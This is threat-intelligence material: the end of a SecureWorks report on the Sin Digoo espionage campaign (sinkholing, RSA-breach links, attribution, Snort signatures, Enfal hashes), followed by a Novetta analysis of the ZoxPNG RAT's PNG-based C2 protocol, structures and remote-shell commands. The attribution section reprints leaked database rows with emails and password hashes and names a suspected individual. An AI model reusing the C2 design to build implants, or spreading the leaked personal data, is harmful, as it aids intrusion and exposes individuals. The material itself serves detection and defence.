Sin Digoo connection to RegSubsDat malware Although windowsaupdate.com is not a Tawnya Grilth domain according to the WHOIS data, the name is almost certainly related to the do- main windowsaupdate.net, especially given the same subdomain naming pattern (e.g., v4, v12, v14).
Victim discovery CTU analysts sinkholed a number of the Tawnya Grilth domains in 2011 and 2012.
Traffic from infected victim computers is now sent to servers that log connections, gather statistics, and notify victims when possible.
The initial findings from the sinkholing activity are: 1.
Between 100 and 200 computers located in Vietnam, Brunei, and Myanmar are infected by RegSubsDat.
Analysis of the IP addresses con- necting to the sinkhole show that many are government ministries.
Additionally, more than one regional petroleum company and a newspaper has been infected.
2.
A handful of victim computers in Europe and the Middle East are infected by RegSubsDat, Enfal, and one other unknown trojan.
These computers belong to government ministries in different countries, an embassy, a nuclear safety agency, and other business-related groups.
Additionally, there is an embassy located inside mainland China that is infected.
The CTU researchers have notified many of the national computer security incident response teams (CSIRTs) in the countries where infections were detected and are continuing this notification process.
The notifications include the necessary information to locate victims within the country, inform the victims, and mitigate the infections.
Link to RSA breach In addition to the GhostNet link, connections can also be drawn between the malware used in the Sin Digoo activity and the RSA breach re- vealed in early 2011.
According to the US-CERT EWIN-11-077 bulletin, a number of command-and-control (C2) hostnames used by RegSubs- Dat shared three different IP addresses at different points in time, with one of the hostnames known to be part of the RSA breach.
This C2 hostname was used in a piece of malware known as Murcy, which was detailed in Command and Control in the Fifth Domain, a 2012 re- port by Command Five Pty Ltd.
Figure 4.
Connection between the RegSubsDat malware and the Murcy malware.
All three IP addresses belong to the China Beijing Province Network (AS4808).
Although the RegSubsDat and Murcy C2s shared these IPs a few months apart, the fact that three IP different addresses at the same ISP overlapped in a short time frame seems to indicate shared infra- structure used by both the RSA breach actors and other actors using the RegSubsDat malware.
AS4808 is known for many other connections to malware and is considered by some to be a hotbed of espionage C2s, especially the 123.120.96.0/19, 114.248.80.0/20 and 114.248.96.0/20 sub- nets.
These subnets have been seen in DNS records for hundreds of C2 hostnames for dozens of custom malware families, either known for or http://www.rsa.com/node.aspx?id3872 http://www.occ.treas.gov/news-issuances/alerts/2011/alert-2011-4.html http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf suspected in espionage activity.
The RegSubsDat asia-online.us domain was registered by an unknown actor using the email address king_publichotmail.com.
A 2011 blog posting by Cyb3rsleuth traced this email address to a social media profile created by a person living in Beijing named Wang Liang Chen.
The same email address was used to register many other RegSubsDat domains as well.
The social media profile for king_publichotmail.com has since been deleted.
Tracking Tawnya The same type of open-source intelligence can be used to gather information about  the jeno_1980hotmail.com actor.
One domain registered by jeno_1980hotmail.com is socialup.net.
This site describes a like exchange, which is a service that Internet marketers can use to promote a story on social media sites like Digg or Reddit.
Figure 5.
Screenshot of the socialup.net interface.
This type of service falls under the category of blackhat SEO, a term for a variety of techniques for manipulating search engines and social media sites for marketing purposes.
These methods are considered blackhat because they usually lead to a site or user being banned from the search engine or social media sites if the manipulation is discovered.
The socialup.net website has been repeatedly promoted on blackhat SEO message boards by various personas, including one named Tawnya.
Figure 6.
Example of Tawnya promoting socialup.net.
http://cyb3rsleuth.blogspot.com/2011/08/chinese-threat-actor-identified.html Once a user signs up with socialup.net, they can earn virtual coins.
The coins can be used to promote the users websites or social media posts, either by viewing ads or liking other users stories and links.
A user can also buy coins from the owner of socialup.net using PayPal.
Figure 7.
Example of interface to purchase coins.
As part of the PayPal transaction, the potential customer can see the payee email address.
In the case of socialup.net, PayPals website shows that the payment for the socialup.net coins is sent to an individual with the initials jzd.
Figure 8.
Order summary for coins showing payee information.
One of the other Tawnya Grilth domains is i-tobuy.com.
This domain was registered in 2004 using the jeno_1980hotmail.com email ad- dress and Sin Digoo location, but the nickname xxgchappy is also shown in the registrant contact data.
Figure 9.
Registrant contact data for i-tobuy.com.
Another domain registered in 2004 using the Sin Digoo location was 1stsale.net, registered to a john twk with the email address xxgchap- pyvip.sina.com.
Figure 10.
Registrant contact data for 1stsale.net.
There is a profile on a Chinese programmers forum for an xxgchappy user who has posted two different email addresses in different mes- sages on the site.
These addresses are xxgchappyvip.sina.com and           sina.com.cn (address redacted).
The users name is listed on the fo- rums profile page for xxgchappy and contains the initials ZD.
Figure 11.
Profile for xxgchappy.
Figure 12.
Tracing the connections between socialup.net, i-tobuy.com, and 1stsale.net.
Several clues on the Internet point to xxgchappy, or ZD, having a working knowledge of computer programming.
The use of the program- mers forum, along with postings to that site, indicates he is interested in code related to hooking Windows API functions, a common tech- nique used in malware.
Additionally, both xxgchappyvip.sina.com and king_publichotmail.com were the listed email addresses for users of the rootkit.com site, revealed when that sites database was leaked in 2011.
A rootkit is a program used for hiding traces of malware on a system, and rootkit.com was a forum for discussing the latest rootkit technolo- gies.
However, simply having an account on rootkit.com does not imply one is using rootkits offensively  many anti-malware researchers were also members of the site.
There are some interesting clues in the database table for both users.
The nickname Jeno appears again in the rookit.com user database entry for the user with the email address xxgchappyvip.sina.com.
(
7523,Jeno,91cec994,Jeno Alix,xxgchappyvip.sina.com,1,0, ,,,,,,0,http://www.rootkit.com/usericons/Jeno.jpg, ,1265784473,123.6.89.98,0,0,0,1265721022,0,0,0,,0,,,,-1,), (23025,king-rose,e211f11c0b28434bf7f1c8fb510fa9ae,Club-tom, king_publichotmail.com,1,1106582903,,,,,,,0,, ,1106837367,61.51.59.63,0,0,0,1106583113,0,0,0,BH,19800126, ,,,0,), Figure 13.
Database entries with the xxgchappy and king_public email addresses.
In the entry for king_publichotmail.com, we see the nicknames king-rose and Club-tom, but even more interesting is the password hash e211f11c0b28434bf7f1c8fb510fa9ae.
This password hash appears in only one other entry in the rootkit.com database: (20446,king-z,e211f11c0b28434bf7f1c8fb510fa9ae,k,z,y, wzy_100hotmail.com,1,1097652186,,,,,,,0,,,1284013010, 123.120.127.153,0,0,0,1284013010,0,0,0,,,,,,0,), Figure 14.
Other appearance of the password hash associated with king_publichotmail.com.
From this evidence, we can deduce that king-z is a second, earlier account of king_publichotmail.com, created using the wzy_100hot- mail.com email address.
Even more interesting is the 123.120.127.153 IP address the king-z account used to log in.
This IP is located inside one of the AS4808 netblocks famous for espionage activity.
In fact, it is remarkably close to 123.120.127.159, an IP used by Enfal C2 v2.win- dowsaupdate.net (one of the Tawnya Grilth domains) on September 27, 2010.
The last account activity for king-z as shown in the rootkit.com database is September 9, 2010.
This data strongly suggests that king_publichotmail.com is not just a stolen account used to register a domain, but that the user is involved in the espionage network in some manner.
The password used by xxgchappyvip.sina.com does not appear elsewhere in the leaked rootkit.com database however, another leaked data- base may provide additional clues surrounding the xxgchappy personality.
The        sina.com.cn (address redacted) email address associated with the user xxgchappy can be found inside an archive posted to the hackchina.com website.
xxgchappy  2710                  sina.com.cn Figure 15.
xxgchappy reference from the hackchina.com website.
The archive contains a denial-of-service attack tool called lankiller.
Inside the lankiller binary is the following comment: Designed for lyh by xxgc-happy   2002.3.8 Figure 16.
Reference to xxgc-happy in the lankiller tool.
Also included in the lankiller archive is a README file that describes the use of the tool.
It asks the user to email the author at either sina.com.cn or happysohu.com.cn.
Figure 17.
Email addresses referenced in the lankiller README file.
There is a profile for happy on a Chinese video site showing a possible photo of the user.
The photo is of a man who appears to be in his ear- ly twenties and of Asian descent.
Conclusion The Sin Digoo activity is only a limited view into a very large amount of espionage-by-malware that is happening in the world.
The Enfal, RegSubsDat, and Murcy malware families possess dozens of defunct and active C2s, and these three trojans are only a tiny subset of the mal- ware families the Dell SecureWorks CTU research team knows to be involved in espionage activity.
Collaboration between government, espi- onage malware victims, and the computer security industry must improve to better defend against this undercurrent of activity that threatens to undermine an already weakened economy in countries around the world.
Appendix A  Network IDS signatures alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:GET20 depth:4 pcre:/GET\x20.\x2ftrandocs\x2fnetstate\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111111) alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:GET20 depth:4 pcre:/GET\x20.\x2f(category2data\x2fforumhttpdocs\x2fmmtrandocs\x2fmm).
[A-F0-9]2\x2d[A-F0-9]2\x2d[A-F0-9]2\x2d[A- F0-9]2\x2d[A-F0-9]2\x2d[A-F0-9] 2\x2f(showNumberWindowTaskORDERTIPComMand\x2esecCmwhiteComMand\x2esecCommand.txtQuery.txtsunriseTiblueTrblue)\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111112) alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:POST20 depth:5 content:0aReferer3a20 pcre:/POST\x20.\x2fcg[a- z]\x2dbin\x2f(Clnpp5CMS_ClearAllCMS_ListImgCMS_SubitAlldieosn83Dskx8Htrc3InfoOwpp4Owpq4Rwpq1Trpq8Trpq8vip)\x2ecgi\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111113) alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:POST20 depth:5 pcre:/POST\x20.\d6,12\x2ephp\x20HTTP\x2f1.\r\n\r\n[a-z0-9\x2d]4,15\x3a[A-F0-9]2\x2d[A-F0-9]2\x2d[A-F0-9]2\x2d[A-F0- 9]2\x2d[A-F0-9]2\x2d[A-F0-9]2/s reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111114) alert tcp HOME_NET any - any any (msg:RegSubsDat Trojan Activity flow:established,to_server content:POST20 depth:5 content:2flog20HTTP2f1 pcre:/POST\x20.\x2f[A-F0-9]60000\x2flog\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111115) Appendix B  Malware hashes MD5 signatures for Enfal 0144f8d76662fc382b8eb094eb347e4b 01a5adace93ad5afac400f9589b62607 027d7db3d2a94bb0dfadc71300aaee3e 02857b2b6cc5aa750dbfb6a1088a5239 035f2e58144209ea9973bbe4cad58e15 04cb272bbe383707574005a2999f2fe0 054688eb39ea0cd380bb89b6746abc4f 06572d93d87a8d0fb7e070be79692c87 066be8f9e08acfe8ab1eecb884a73801 071d01bcaadc9df5683a6cfa81736714 084e99653956350210beb13c8ea43c79 09c44fcceb51f9affdb63b0d8f9e4b31 0a5446da47609868101c773e928b36e4 0bbd1f253e928cafa3c9c78cdaa849bd 0c589418274ba97663853d1c6bef3bd1 0ecd791525cc30ced610e81ef67290b0 0ed85a30083fb71452916e14a4b5936a 10162681b64c72834621c6fd68b6501f 106db67336a318b6ee4f3197027df85c 113a066b19737b59ab1e2ad921cf3a03 113bea934d89d0cfdc445489f0eb713d 11696e0f7399986c4978e35f3160c22b 1175fff7b282db3b2b0c8c9517bcd937 11cf5c71ddf9a666d9b470dff21c4ec5 13d82eaadf0a5f6fd2d76b66673efa91 140c69ea9a963100e75497b33820f1da 164e3c7488b70d6db28cf71cbc72b0c2 173ec685aa9f581a03c30866b5021574 17810c2ad162c4726729b3fc3ae8676e 184f2de39a9fcc0039eb9df09c4e75b8 19cddfee52c7b7adf4d5dd3e98e0b0bd 1c1f7b32d5381335b83af545b9eef101 1c2aab24d699c24cec860e73c767bce7 1e95875e6c0f054b62c94d6063ff9eed 1f91d940c42f216cf95e724a034802db 1fa520329a77d01aaaf5808ddf529ce2 21b761b4401d290b9e02fea87f2a9933 2370a2142bc61c520226d188e102a727 241aaa7d73339c1624a27fcce5d1815d 24decc7e98e67e3a6e5d34f284f79124 25710d277596d09e5607f419eb63e11d 272fffde11c97b31cf9de7c1e1816d61 276495490cf16318735f880785203378 2880436cf619a270e6c31d9da6eb426b 289242778ef037e02106a491de38cc1f 2944e486b252112720098860a91788e0 297158cfce8fc76789ca41899f6047ac 2ae27d10e04d229c937c0363c29ed3e8 2bc74b3aff2fd68eb38820bb0760f3a6 2bfd304e3433cb0de9c2f284e9417409 2f2f61d3b8f5064affb11e67ae6320b2 2fd6e2c7fc80ab9a6be6a0eebd09763e 2fdaa46fff13f87dcc22fb9aef9ba338 300dcc10df87a998b08dddd2dbc55a28 30971caaf134d7706c70335f54e3188f 30d075afef4e518f63c0b43b8c764e12 3270d18157131f216468cf7ce53ee8d1 331140c7ffaea93ed807f86720b5929e 331acc687cf2b93fc7bfed257ea54488 33eb9e349ec9e093c54028e7c1cd8b0a 340c9de8ff62134bb0e51c24c0919576 343cef9a8d83afca81918fc317f3ccb8 3447416fbbc65906bd0384d4c2ba479e 34563d4ccf2fdd8a08b05089d82a803b 347906343329916ace3636a541c96f26 34f53d0b59f7cf352aace044abf95df3 35369bf701904b17725429e8cb938645 35ca158ffd5965d68f7ef64ee527a028 3603c2b0262ed71402fe981991ddd614 367459c45eec216b6858e7b2f91e0c99 36b1f9def6a794ae0be8148d149e5fe7 36d10e8d5e95bcfed701df530de2a917 36dccde0de343af9e7f08128900334f2 36e8c4f5b906e2e4cc3d5e64b79b8642 374b6371918ab0ba91e9f3489e5eab19 39762af48276967a54372dca1f89936c 3b159b70f6f6e66db77dd6b57f04ec2f 3b5fdfff3f49f0231586dd4fcca7c25d 3c1c15ac3b1bf3787137685637e33140 3d176273201bb6f07746cd7c5c46166c 3d69e2b0257cebf9bc1a6f788f45fbcb 3e27d880674149d2548b5b36d22570ff 3fd66bcecc804913a016827eba28897a 427259dc60c10ca5586da8d76139cc92 42899a14835c5702af3c2f0abaf64429 4413e592ad3c072fa300f526b83bb644 442c0e4bda0035c34e767d429e7f821b 443ed084c7bb1687825670d0293d3482 453963093fa87f1ecd9be2691d080b0c 45b8270e80fcaa229cfe8e4baf15d9c2 45d07b1a0a6cea3035d448e384b59252 45f565e1b73e723ade1838e2c78867a6 46548ef50b1d64909f77a484bac66de6 46679d05a02e065a5f082d86d7635488 466cbf76ccf76e0a2fb309e9e8433bce 46a9e994658fe49e892c5a5d5740b58a 47bc44ccd673760918c99856a053aca0 48a4a92443dd2595806e9afd76275ea0 48ccdc7a5eec2a0240b28534d501eebb 4943c536c8b06044456af9971a0f54eb 499ad52953d3e12ebcda3f4eec3cad4f 49e0df6cb8abc6d4554829f2cc77ad75 4a828744a96d739815ff40d54bc9d022 4add8281a028c6ea76d369186f787004 4b835d7b89f754f72fa712fd281aa51f 4bb3264ddb68e096bbd11721fea3d2e2 4bc96cf2a63f4bfbc5f24c07329d986d 4cb5033c2b4e19872d2fb98dc9678362 4d84bd418da17f01298df489c251464f 4dc08c921bc81ce89aae397eaa049dda 4f862e38b7db5beebacff59a751b0f59 5098b3d6211a17f315fb33b17e37c9b1 50ecc77c6c831bcd7e0534353f61c479 514c992b5af684efb08ada784f36bce7 57ffbe0560b61ef7da39a29049dfdc45 5b0d5ad64256811a7e8be472f3492d2d 5b382d58d6a890ce696494c304242625 5c26947e42381afa8459b6a91308662e 5c2ebee0d8748e926d015d07c434b409 5c920ea7042f820f46ca8bdeb9a17519 5ccdc66a50b3b101d4038ab23b65196f 5cf7669f0b64b0780159cae4275e75e7 5dbd2ed78f47fd75112b5b8d9a5a2a7d 5f76d78402be896288284c18407957b2 5f84282c7ee466e777665ef72fa258b5 61792bb6aa26ce5e826ee300977825c1 61a605dc9bfcbdc382f528607115b8f1 629dc2675a940e6fd0cfd778f2c3149a 630e9ced15a16aaa464b73481297f40f 63d33065354038eec8b8a386d5bf45bf 6680e19b115c88416b13b5985bf2c32d 66fc71e3f35b3ef21cf524c3be92708c 67ae7ca090aed3841ca1c0ec85d26d2c 687cfc99f09f1cb9b1915135bc57fbbe 68a3e1c03a0ce92a648eea823bfcdd4d 690e6208ccfc960c71175e43c75deee1 6979c05ff1682c6bcff2da5f20350388 69f8825118ea8ab1c671c28298c592aa 6c1fa0a523a751b8d588b75814a46759 6e8994d01ab6837e6baeedbfd9bf45b2 701d95d5d716a726a4316d7352938510 70cf6edb22a2fd5fee7665ad1a260b39 70f167e43ba0c4df744601ace41d29fb 71313fcf3d825ba40375cf62f4777e10 719b1d9e93a6fe2fe0918f029990fbfd 72b9b505ef199fee23db350d6e096340 73802e2bb0c7f821f0959e9a424be35b 744670ca4531f7ceb72a75ae456e8215 74cb2fc990adf24f1da265dd14737d48 7547a4e39ac61eae20c79fa3834d8e2a 7578feae5abb684e691e44a1c82d0b78 7769907450c95de213567408d1c3eb32 79a160fec8c1e34b0188e034dffccfa5 7a1d4cba9ce2a28ef586c27689b5aea7 7a72460b0f3caeaa9a0dd5aa252a3dd5 7bd2cf1a96fe27c301111785799233ea 7c2258469a87138a94eb1a15578df9c1 7c9836391eb08e1cfa33dd1094d2f993 7db483b6dfb3952ce9c29b7bf26e662b 7e0d522932460ea1d9a88a82980b1234 7fd3760a10a79397da3e7f2531a3c165 7fec0946aa04ac5f96c8633565a503a7 80398a1c31cb0fad735d051f22865204 8042b3849217de1ee9181ee9c7338df8 80450d1256eddeece918ef02e9dedcd5 80a8635e966a5fb6924cfd92d18b1829 8198751a915561b30a607b1d2a651f73 81df7dca8b3bb3ae964fa8cfd82de413 81fa811f56247c236566d430ae4798eb 8279af9adb9dcde15f67e4938a32e460 83046fb020b98d6bdc59b6d3135fa293 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ZoxPNG Analysis Overview ZoxPNG is a very simple RAT that uses the PNG image file format as the carrier for data going to and from the C2 server.
ZoxPNG supports 13 commands natively.
In addition, ZoxPNG has the ability to load and execute arbitrary code from the C2 server providing an almost unlimited feature set.
For instance, ZoxPNG provides no functionality for key logging, screen grabbing or file execution.
If an attacker required such functionality, the attacker would construct a simple shell-code binary which the ZoxPNG binary could execute thereby expanding the feature set of the Trojan.
ZoxPNG does not contain any configuration information.
The attacker using ZoxPNG must specify the C2 server address as a command line argument.
ZoxPNG Startup Sequence ZoxPNG is a simple console executable that contains no configurable information such as a C2 server address.
It is up to the attacker to provide this information as the sole command line argument when activating a ZoxPNG binary.
Upon activation, the ZoxPNG binary registers the various command handlers (see the section Commands that follows for details of each command handler).
With the handlers registered, ZoxPNG slips into an infinite loop that calls the main communication and command dispatch routine if that routine returns (or exits), the Trojan sleeps 20 seconds before again calling the main communication and command dispatch routine.
This ensures that even if communication failures occur, ZoxPNG will continually attempt to connect to the C2 (with intermittent delays).
Communication and Command Dispatch When ZoxPNG enters the communication loop, the Trojan sends a request to the C2 server in the form of a HTTP GET request.
The first GET request provides the initial dial-home to the C2 server and results in the C2 server sending the first command to the ZoxPNG binary via a special PNG file attached to the response.
Subsequent requests from the ZoxPNG binary can come in the form of a GET request if the response to the C2 servers command does not require any data or acknowledgement, or a POST request with a PNG upload containing data to be sent to the C2 server.
For each request to the C2 server that the ZoxPNG binary generates, the C2 server will respond with a valid HTTP response that includes a PNG file containing the next instruction for the binary to execute.
Figure 1 provides a graphical representation of the polling model that the ZoxPNG binary employs when communicating with the C2 server.
The ZoxPNG is surprisingly accommodating to network instability.
For each polling request to the C2 server, the ZoxPNG binary will attempt to contact the C2 server up to five times before failing.
Between attempts, the ZoxPNG binary will wait 5 seconds.
Coupling the 5 second interval waits with the fact that the default timeout using InternetOpen is 30 seconds, a ZoxPNG binary could wait up to 175 seconds (nearly 3 minutes) for a C2 server to come online before terminating the session.
The communication subsystem of ZoxPNG uses the WinInet API.
While this has the advantage of offloading the HTTP processing, it also has the advantage of allowing ZoxPNG to automatically use any proxy settings currently configured on the victims machine.
ZoxPNG uses the InternetOpen, InternetConnect and HttpOpenRequest APIs to begin a HTTP connection to the C2 server.
As mentioned previously, if the ZoxPNG binary is sending data to the C2 server, HttpOpenRequest is given the POST verb otherwise it uses the GET verb.
Prior to using any of the WinInet APIs, however, ZoxPNG generates a small data structure of 52 bytes that contains information about the victims machine.
The data structure in Figure 2 defines the VictimSystemData data structure.
pragma pack(push, 1) struct VictimSystemData  char fIs64BitProcess char field_1  // binary result of an obscure test char bOSMajorVersion char bOSMinorVersion DWORD dwActiveCodePage DWORD dwRandomValue DWORD dwMegsOfMemory DWORD dwPID char szComputerName[32]  pragma pack(pop) Figure 2: VictimSystemData Structure ZoxPNG Binary ZoxPNG C2 Server Figure 1: Communication Pattern between ZoxPNG and its C2 Server It is unclear why the developer(s) of ZoxPNG decided that it was necessary to generate the data structure at each and every attempt to contact the C2 server instead of generating the static data once and using a cached copy.
Nevertheless, the ZoxPNG binary will generate the data each time prior to activating the WinInet APIs.
The ZoxPNG binary will transmit the data to the C2 server via the HTTP header Cookie as part of the SESSIONID value.
In order to transfer the data without running into NULL byte issues, the VictimSystemData structure is transformed using a standard Base64 encoding.
There are two interesting pieces to the VictimSystemData.
The first interesting piece is the dwRandomValue field.
While the field does appear to be the generation of calls to the rand function, in actuality it is a checksum of the victims computer name.
The ZoxPNG binary will loop through the NULL terminated string of the victims computer name in four byte increments in order to generate a 32-bit value, use the 32-bit value as the seed value to srand, and then multiply an accumulator by the value of the next rand call.
This convoluted checksum appears to have no other purpose than to provide a means to detect corrupt or forged requests as they relate only to the computers name.
After going through a maximum of 30 cycles (leading to the possibility that random data may be introduced given that the computer name buffer is only 32 bytes long), the value of dwRandomValue is truncated to 1,000,000 by virtue of a modulus operation.
Figure 3 provides the pseudo-code for the dwRandomValue generation.
GetComputerNameA(Buffer, nSize) v6  (unsigned int )Buffer victimSysData-dwRandomValue  1 i  1 do  if ( v6 ) break srand(v6) i v6 victimSysData-dwRandomValue  rand()  while ( i  30 ) victimSysData-dwRandomValue  1000000u Figure 3: dwRandomValue Generation in Psuedo-C With the VictimSystemData structure generated and an Internet session handle opened, ZoxPNG calls HttpOpenRequest with the appropriate verb to open a specific URL to the C2 server.
The URL that the ZoxPNG binary will request is largely static and takes the form of a complex image request.
The request to the C2 server takes the following form: http://C2 Address/imgres?qA380hlen- USsaXbiw1440bih809tbmisustbnidaLW4- J8Q1lmYBM:imgrefurlhttp://C2Addressdocid1bi0Ti1ZVr4bEMimgurlhttp ://C2 Address/4 digit year-2 digit month/4 digit year2 digit month2 digit day2 digit hour2 digit minute2 digit second.pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved1t:3588,r: 1,s:0,i:92iactrcdur368page1tbnh184tbnw259start0ndsp20tx 114ty58 After opening a HTTP request to the URL, the ZoxPNG will add a User-Agent header based on the user-agent string returned by a call to the ObtainUserAgentString API function.
If that function fails to return a user-agent, then ZoxPNG will default to the following user-agent string: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 WOW64 Trident/4.0 SLCC2 .NETCLR 2.0.50727) The ZoxPNG binary will also append Pragma, Accept-Language and Accept-Encoding headers before concluding with a Connection: Close header.
The result is a request that takes the form of: GET /imgres?qA380hlen-USsaXbiw1440bih809tbmisustbnidaLW4- J8Q1lmYBM:imgrefurlhttp://127.0.0.1docid1bi0Ti1ZVr4bEMimgurlhttp ://127.0.0.1/2014- 10/20141020021012.pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved 1t:3588,r:1,s:0,i:92iactrcdur368page1tbnh184tbnw259start0 ndsp20tx114ty58 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET4.0C) Pragma: no-cache Accept-Language: en-US Accept-Encoding: gzip, deflate Connection: Close Cookie: SESSIONIDAAAFAeQEAAAEZgcAYggAAMAFAABJMjY4ODU2LTM3NUMzMTcAAAAAAAAAAAAA AAAAAAAAAA Host: 127.0.0.1 ZoxPNG transmits data via a specifically constructed PNG file.
The format of the PNG file that carries data to and from the C2 server is relatively straight forward.
For data coming from the C2 server, the PNG file must start with the following bytes in order: 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A.
The DWORD starting at offset 0x21 contains the size of the data within the PNG file while the data begins at offset 0x29.
The DWORD at 0x21 is in big-endian format.
The data at offset 0x29 is compressed using the zlib deflate (version 1.1.4) system.
Novetta was unable to observe a live sample of the PNG file originating from the C2 but it is reasonable to believe that the overall format of the PNG file is the same as the format as the PNG file that the ZoxPNG binary sends to the C2 server as the important offsets of 0x21 (33) and 0x29 (41) are identical.
The format of the PNG file originating at the ZoxPNG binary is defined, which could be potentially leveraged by IDS.
The following table defines the known values of the PNG file (regardless of the data appended): Offset Known Values Notes 0 (8 bytes) 0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A PNG header 8 (4 bytes) 0x00 0x00 0x00 0x0D Length of image header chunk 12 (4 bytes) IHDR Image header tag 16 (13 bytes) 0x00 0x00 0x00 0xC8 0x00 0x00 0x00 0x64 0x08 0x00 0x00 0x00 0x00 Specifies 200x100px 8-bit image 29 (4 bytes) 0xE6 0xED 0x20 0xD7 CRC32 value of IHDR chunk 33 (4 bytes) variable Size of IDAT (embedded data) chunk 37 (4 bytes) IDAT Data header tag 41 (n bytes) variable Embedded data of n bytes 41n (4 bytes) variable CRC32 value of IDAT chunk 45n (4 bytes) 0x00 0x00 0x00 0x00 Length of IEND chunk 49n (4 bytes) IEND Image end tag 53n (4 bytes) 0xAE 0x42 0x60 0x82 CRC32 value of IEND chunk Note that the embedded data within the IDAT tag is compressed using the deflate function.
In order to restore the IDAT data, both sides of the conversation will use the zlib inflate functionality.
The PNG file adheres to the PNG standard thereby making it less detectible to heuristic sensors.
However, by inspection of the IDATs size, it could be possible to determine that the image is not 200x100 bytes (20000 bytes) and therefore the IDAT section is not the proper size for the specific image size.
After the PNG image is received by the ZoxPNG binary, the binary will extract the contents of the IDAT section, recover the original data blob, and send the data to the command dispatch.
Each data blob that comes from a PNG file contains a header that allows the command dispatch system to quickly route the data blob to the appropriate handler.
At the outer most layer of the structure is the CommandHeader which contains two fields: dwCommandDataSize and command.
dwCommandDataSize is the overall size of the data blob including the CommandHeader component while the command field is a CommandData structure containing the information necessary to route the command (and its data) to the appropriate data handler.
Figure 4 defines both the CommandHeader and CommandData structures.
The CommandData structure contains four fields of which the most important is the dwCommandID field.
The dwCommandID field defines the purpose of the data (if any) that follows the CommandData (and by extension, the CommandHeader) structure in the data blob.
The dwCommandID value corresponds to one of the registered command handler ID values (starting at 0x80061001).
If a specific command requires additional arguments then the dwPayloadSize field will be greater than 0.
The dwPayloadSize field specifies the number of bytes following the CommandData structure.
The dwCommandSequenceID and dwLastError fields are largely ignored by the various commands.
struct CommandHeader  DWORD dwCommandDataSize CommandData command  struct CommandData  DWORD dwCommandID DWORD dwCommandSequenceID DWORD dwLastError DWORD dwPayloadSize  Figure 4: CommandHeader and CommandData Structure Definitions Whenever a command sends any data back to the C2 server, the same CommandHeader and CommandData fields are prepended to the data blob coming from the various commands.
In the case where data is going back to the C2 server, it is possible that the dwLastError field may be set to a non-zero value indicating the status of a particular command (the field is commonly set to the value returned by the function GetLastError).
The dwCommandSequenceID number field is set to the same value as the command whenever the ZoxPNG binary sends data to the C2 server.
The data that follows a CommandData field is specific to each command.
The command dispatch is ignorant of any data that follows beyond the CommandHeader and CommandData.
The commands themselves are ignorant of the CommandHeader as only the CommandData is sent to the individual command handlers.
Commands ZoxPNG uses a notion of function registration to assign command handlers to specific, sequential IDs.
The order in which the handlers are registered dictates the ID of the command.
The ID values start at 0x80061001 and increment for each subsequent handler that is registered.
The following ID to function mappings have been observed: ID Function Description 0x80061001 Initiate a remote shell 0x80061002 Interact with the remote shell (send command, read response) 0x80061003 Download a file from the C2 to the victims machine 0x80061004 Upload a file to the C2 from the victims machine 0x80061005 Obtain information about the attached drives 0x80061006 Create a directory 0x80061007 Find/List files 0x80061008 Delete a file 0x80061009 Move/Rename a file 0x8006100A List all activate processes 0x8006100B Kill a process (by PID) 0x8006100C Sleep 0x8006100D Add a new handler function 0x8006100E Shutdowns ZoxPNG Each command has a command-specific data format for arguments and responses.
Not all commands require arguments or provide responses.
The following sub-sections break down not only the format of the data flowing into and out of each command but also provide an overview of what each command does and how it operates.
Command 0x80061001: Initiate Remote Shell The Initiate Remote Shell command takes a single argument which contains the full filename and path to the command interpreter (e.g.
cmd.exe) to use for the remote shell.
Once activated, the command handler terminates any existing remote shell processes and closes any open pipes going to the remote shell process.
The handler then creates new pipes before generating a new remote shell process and using the newly created pipes for the STDIN, STDOUT and STDERR of the console process.
If the CreateProcess call returns an error, the command handler will generate a response with the following fields within the CommandData set: Field Value dwCommandID 0x80061001 dwLastError value from GetLastError dwPayloadSize size of the string in the payload (payload) string: IISCMD Error:d\n where d is the value from GetLastError If CreateProcess is successful, the command handler calls the command handler for Remote Shell Interaction (0x80061002) and pass the original CommandData to the command handler with the dwCommandID field changed to 0x80061002 and the dwPayloadSize set to 0 in order to get the initial response from the remote shell to the C2 server.
Typically this initial response will be the banner and command prompt from a newly executed cmd.exe.
The command handler will return the response from the Remote Shell Interaction handler as its own.
Command 0x80061002: Remote Shell Interaction The Remote Shell Interaction command is responsible for both polling for waiting remote shell output as well as providing input to the remote shell.
When activated, the Remote Shell Interaction command handler determines if the pipe for the STDIN is still valid (non-NULL).
If the pipe is invalid, the command handler will generate a response with the following fields within the CommandData set: Field Value dwCommandID 0x80061002 dwLastError value from GetLastError dwPayloadSize size of the string in the payload (payload) string: hWritePipe2 Error:d\n where d is the value from GetLastError If the pipe handle is still valid, and the CommandDatas dwPayloadSize value is non-zero, the payload data that follows the CommandData structure is passed to the remote shell via the pipe without translation by means of a call to WriteFile.
After a 500ms sleep, a new buffer of 65564 bytes is allocated by the command handler in order to hold any response data.
A call to PeekPipe is made to determine if there is any output from the remote shell waiting.
If PeekPipe indicates the presence of waiting data, a call to ReadFile is made to copy up to 65536 bytes of the output into the payload portion of the response buffer.
The command handler returns the response with the CommandHeader set to the size of the entire data blob and the following fields set within the CommandData structure: Field Value dwCommandID 0x80061002 dwLastError 2 dwPayloadSize size of the data in the payload (or 0 if no data was waiting) (payload) (optional) Data from the remote shells output (STDOUT or STDERR) Command 0x80061003: Download File The Download File command, as the name implies, is responsible for transferring a file from the C2 server to the victims machine.
